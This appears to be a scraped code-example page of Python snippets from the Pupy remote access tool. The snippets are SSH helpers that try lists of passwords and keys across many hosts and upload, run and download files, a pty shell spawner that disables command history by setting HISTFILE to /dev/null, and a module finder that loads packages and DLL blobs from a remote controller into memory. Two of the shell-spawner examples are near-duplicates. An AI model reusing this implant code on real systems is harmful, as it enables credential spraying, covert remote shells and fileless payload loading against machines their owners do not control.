Пример #1
0
def ssh_exec(command, hosts, port, user, passwords, private_keys, data_cb,
             close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)

    return _ssh_cmd(SSH.check_output, 'SSH (Exec) Non-Interactive Reader',
                    command, hosts, port, user, passwords, private_keys,
                    data_cb, close_cb, timeout)
Пример #2
0
def ssh_upload_file(src, dst, perm, touch, chown, run, delete, hosts, port,
                    user, passwords, private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    dst = path.expanduser(dst)

    return _ssh_cmd(SSH.upload_file, 'SSH (Upload) Non-Interactive Reader',
                    [src, dst, perm, touch, chown, run, delete], hosts, port,
                    user, passwords, private_keys, data_cb, close_cb, timeout)
Пример #3
0
def ssh_download_tar(src, hosts, port, user, passwords, private_keys, data_cb,
                     close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    src = path.expanduser(src)

    return _ssh_cmd(SSH.download_tar,
                    'SSH (Download/Tar) Non-Interactive Reader', src, hosts,
                    port, user, passwords, private_keys, data_cb, close_cb,
                    timeout)
Пример #4
0
def ssh_interactive(term, w, h, wp, hp, host, port, user, passwords,
                    private_keys, program, data_cb, close_cb, timeout):
    private_keys = obtain(private_keys)
    passwords = obtain(passwords)
    data_cb = async (data_cb)
    close_cb = async (close_cb)

    ssh_passwords, key_passwords = passwords

    try:
        ssh = SSH(host,
                  port,
                  user,
                  ssh_passwords,
                  key_passwords,
                  private_keys,
                  interactive=True,
                  timeout=timeout)
        if not ssh.connected:
            raise ValueError(
                'No valid credentials found to connect to {}:{} user={}'.
                format(ssh.host, ssh.port, ssh.user or 'any'))

    except gaierror as e:
        raise ValueError('Unable to connect to {}:{} - {}'.format(
            host, port, e.strerror))

    except NoValidConnectionsError:
        raise ValueError('Unable to connect to {}:{}'.format(host, port))

    attach, writer, resizer, closer = ssh.shell(term, w, h, wp, hp, program,
                                                data_cb, close_cb)

    def ssh_close():
        closer()
        ssh.close()

    return attach, writer, resizer, ssh_close
Пример #5
0
def _ssh_cmd(ssh_cmd, thread_name, arg, hosts, port, user, passwords,
             private_keys, data_cb, close_cb, timeout):
    hosts = obtain(hosts)
    private_keys = obtain(private_keys)

    default_passwords = obtain(passwords)
    default_user = user
    default_port = port

    data_cb = async (data_cb)
    close_cb = async (close_cb)

    current_connection = [None]
    closed = Event()

    def ssh_exec_thread():
        for host, port, user, passwords, key_passwords in iter_hosts(
                hosts, default_passwords, default_port, default_user):

            if closed.is_set():
                break

            ssh = None

            try:
                ssh = SSH(host,
                          port,
                          user,
                          passwords,
                          key_passwords,
                          private_keys,
                          timeout=timeout)
                if not ssh.connected:
                    data_cb((0, True, ssh.host, ssh.port, ssh.user))
                    continue

                current_connection[0] = ssh

            except (socket_error, NoValidConnectionsError):
                if ssh:
                    data_cb((0, False, ssh.host, ssh.port, ssh.user))
                else:
                    data_cb((0, False, host, port, user))

                continue

            except Exception as e:
                data_cb(
                    (3, 'Exception: {}: {}\n{}'.format(type(e), str(e),
                                                       format_exc(limit=20))))
                continue

            conninfo = [4]
            conninfo.extend(ssh.success_args)

            data_cb(tuple(conninfo))

            def remote_data(data):
                data_cb((1, data))

            if closed.is_set():
                break

            try:
                if ssh_cmd == SSH.check_output:

                    def remote_exit(status):
                        data_cb((2, status))

                    ssh_cmd(ssh,
                            arg,
                            on_stdout=remote_data,
                            on_stderr=remote_data,
                            on_exit=remote_exit)
                else:
                    if ssh_cmd == SSH.upload_file:

                        def remote_exit(status, stdout, stderr):
                            if stdout:
                                data_cb((1, stdout))

                            if stderr:
                                data_cb((3, stderr))

                            data_cb((2, status))

                        src, dst, touch, perm, chown, run, delete = arg
                        ssh_cmd(ssh, *arg, completed_cb=remote_exit)

                    elif ssh_cmd in (SSH.download_file, SSH.download_tar):

                        def remote_exit(status, stderr):
                            if stderr:
                                data_cb((3, stderr))

                            data_cb((2, status))

                        ssh_cmd(ssh,
                                arg,
                                remote_data,
                                completed_cb=remote_exit)
            finally:
                ssh.close()

    def ssh_exec_thread_wrap():
        try:
            ssh_exec_thread()
        finally:
            try:
                closed.set()
            except:
                pass

            try:
                close_cb()
            except:
                pass

    thread = Thread(name=thread_name, target=ssh_exec_thread_wrap)
    thread.daemon = True
    thread.start()

    return closed.set
Пример #6
0
    def spawn(self, argv=None, term=None, suid=None):
        if argv is None:
            if 'SHELL' in os.environ:
                argv = [os.environ['SHELL']]
            elif 'PATH' in os.environ:  #searching sh in the path. It can be unusual like /system/bin/sh on android
                for shell in ["bash", "sh", "ksh", "zsh", "csh", "ash"]:
                    for path in os.environ['PATH'].split(':'):
                        fullpath = os.path.join(path.strip(), shell)
                        if os.path.isfile(fullpath):
                            argv = [fullpath]
                            break

                    if argv:
                        break
        else:
            argv = obtain(
                argv)  #this transforms a rpyc netref list into a list

        if argv:
            shell = argv[0].split('/')[-1]
            if shell == 'bash':
                argv = [argv[0], '--noprofile', '--norc'] + argv[1:]
        else:
            argv = ['/bin/sh']

        if term is not None:
            os.environ['TERM'] = term

        master, slave = pty.openpty()
        self.master = os.fdopen(master, 'rb+wb',
                                0)  # open file in an unbuffered mode
        flags = fcntl.fcntl(self.master, fcntl.F_GETFL)
        assert flags >= 0
        flags = fcntl.fcntl(self.master, fcntl.F_SETFL, flags | os.O_NONBLOCK)
        assert flags >= 0

        env = os.environ.copy()
        env['HISTFILE'] = '/dev/null'
        env['PATH'] = ':'.join([
            '/bin', '/sbin', '/usr/bin', '/usr/sbin', '/usr/local/bin',
            '/usr/local/sbin'
        ]) + ':' + env['PATH']

        if suid is not None:
            try:
                suid = int(suid)
            except:
                pass

            try:
                if type(suid) == int:
                    info = pwd.getpwuid(suid)
                else:
                    info = pwd.getpwnam(suid)

                env['USER'] = info.pw_name
                env['HOME'] = info.pw_dir
                env['LOGNAME'] = info.pw_name
            except:
                pass

        self.prog = subprocess.Popen(shell=False,
                                     args=argv,
                                     stdin=slave,
                                     stdout=slave,
                                     stderr=subprocess.STDOUT,
                                     preexec_fn=lambda: prepare(suid, slave),
                                     env=env)
        os.close(slave)
Пример #7
0
    def find_module(self, fullname, path=None, second_pass=False):
        if fullname.startswith('exposed_'):
            return None

        global remote_load_package
        global builtin_memimporter

        dprint('Find module: {}/{}/{}'.format(fullname, path, second_pass))

        if not second_pass:
            imp.acquire_lock()

        selected = None

        try:
            files = []
            if fullname in ('pywintypes', 'pythoncom'):
                fullname = fullname + '27.dll'
                files = [fullname]
            else:
                files = get_module_files(fullname)

            dprint('[L] find_module({},{}) in {})'.format(
                fullname, path, files))
            if not builtin_memimporter:
                dprint('[L] find_module: filter out native libs')
                files = [
                    f for f in files
                    if not f.lower().endswith(('.pyd', '.dll', '.so'))
                ]

            if not files:
                dprint('{} not found in {}: not in {} files'.format(
                    fullname, files, len(files)))

                if remote_load_package and not second_pass:
                    parts = fullname.split('.')[:-1]

                    for i in xrange(len(parts)):
                        part = '.'.join(parts[:i + 1])
                        if part in modules or part in sys.modules:
                            return None

                    if not PupyPackageFinder.search_lock is None:
                        with PupyPackageFinder.search_lock:
                            if fullname in PupyPackageFinder.search_set:
                                return None
                            else:
                                PupyPackageFinder.search_set.add(fullname)

                    try:
                        dprint('Remote load package {}'.format(fullname))
                        packages, dlls = remote_load_package(fullname)
                        dprint('Remote load package {} - success'.format(
                            fullname))
                        if not packages and not dlls:
                            dprint('Remote load package {} - not found'.format(
                                fullname))
                        else:
                            if dlls:
                                dlls = pupy.obtain(dlls)
                                for name, blob in dlls:
                                    load_dll(name, blob)

                            if packages:
                                pupy_add_package(packages, True, fullname)

                            if fullname in sys.modules:
                                return DummyPackageLoader()

                            return self.find_module(fullname, second_pass=True)

                    except Exception as e:
                        dprint('Exception: {}'.format(e))

                    finally:
                        if not PupyPackageFinder.search_lock is None:
                            with PupyPackageFinder.search_lock:
                                PupyPackageFinder.search_set.remove(fullname)

                return None

            criterias = [
                lambda f: any([
                    f.endswith('/__init__' + ext)
                    for ext in ['.pye', '.pyo', '.pyc', '.py']
                ]),
                lambda f: any(
                    [f.endswith(ext) for ext in ['.pye', '.pyo', '.pyc']]),
                lambda f: any([
                    f.endswith(ext) for ext in ['.pyd', '.py', '.so', '.dll']
                ]),
            ]

            selected = None
            for criteria in criterias:
                for pyfile in files:
                    if criteria(pyfile) and pyfile in modules:
                        selected = pyfile
                        break

            if not selected:
                dprint('{} not selected from {}'.format(fullname, files))
                return None

            del files[:]

            content = modules[selected]
            dprint('{} found in "{}" / size = {}'.format(
                fullname, selected, len(content)))

            extension = selected.rsplit(".", 1)[1].strip().lower()
            is_pkg = any([
                selected.endswith('/__init__' + ext)
                for ext in ['.pye', '.pyo', '.pyc', '.py']
            ])

            dprint('--> Loading {} ({}) package={}'.format(
                fullname, selected, is_pkg))

            return PupyPackageLoader(fullname, content, extension, is_pkg,
                                     selected)

        except Exception as e:
            dprint('--> Loading {} failed: {}/{}'.format(fullname, e, type(e)))
            if 'traceback' in sys.modules:
                import traceback
                traceback.print_exc(e)
            raise e

        finally:
            # Don't delete network.conf module
            if selected and \
              not selected.startswith(('network/conf', 'pupytasks')) and \
              selected in modules:
                dprint('[L] {} remove {} from bundle / count = {}'.format(
                    fullname, selected, len(modules)))
                del modules[selected]

            if not second_pass:
                imp.release_lock()

            gc.collect()
Пример #8
0
    def spawn(self, argv=None, term=None, suid=None):
        if argv is None:
            if 'SHELL' in os.environ:
                argv = [os.environ['SHELL']]
            elif 'PATH' in os.environ: #searching sh in the path. It can be unusual like /system/bin/sh on android
                for shell in [ "bash", "sh", "ksh", "zsh", "csh", "ash" ]:
                    for path in os.environ['PATH'].split(':'):
                        fullpath=os.path.join(path.strip(),shell)
                        if os.path.isfile(fullpath):
                            argv=[fullpath]
                            break

                    if argv:
                        break
        else:
            argv=obtain(argv) #this transforms a rpyc netref list into a list

        if argv:
            shell = argv[0].split('/')[-1]
            if shell == 'bash':
                argv = [ argv[0], '--noprofile', '--norc' ] + argv[1:]
        else:
            argv= ['/bin/sh']

        if term is not None:
            os.environ['TERM']=term

        master, slave = pty.openpty()
        self.master = os.fdopen(master, 'rb+wb', 0) # open file in an unbuffered mode
        flags = fcntl.fcntl(self.master, fcntl.F_GETFL)
        assert flags >= 0
        flags = fcntl.fcntl(self.master, fcntl.F_SETFL , flags | os.O_NONBLOCK)
        assert flags >= 0

        env = os.environ.copy()
        env['HISTFILE'] = '/dev/null'
        env['PATH'] = ':'.join([
            '/bin', '/sbin', '/usr/bin', '/usr/sbin',
            '/usr/local/bin', '/usr/local/sbin'
        ]) + ':' + env['PATH']

        if suid is not None:
            try:
                suid = int(suid)
            except:
                pass

            try:
                if type(suid) == int:
                    info = pwd.getpwuid(suid)
                else:
                    info = pwd.getpwnam(suid)

                env['USER'] = info.pw_name
                env['HOME'] = info.pw_dir
                env['LOGNAME'] = info.pw_name
            except:
                pass

        self.prog = subprocess.Popen(
            shell=False,
            args=argv,
            stdin=slave,
            stdout=slave,
            stderr=subprocess.STDOUT,
            preexec_fn=lambda: prepare(suid, slave),
            env=env
        )
        os.close(slave)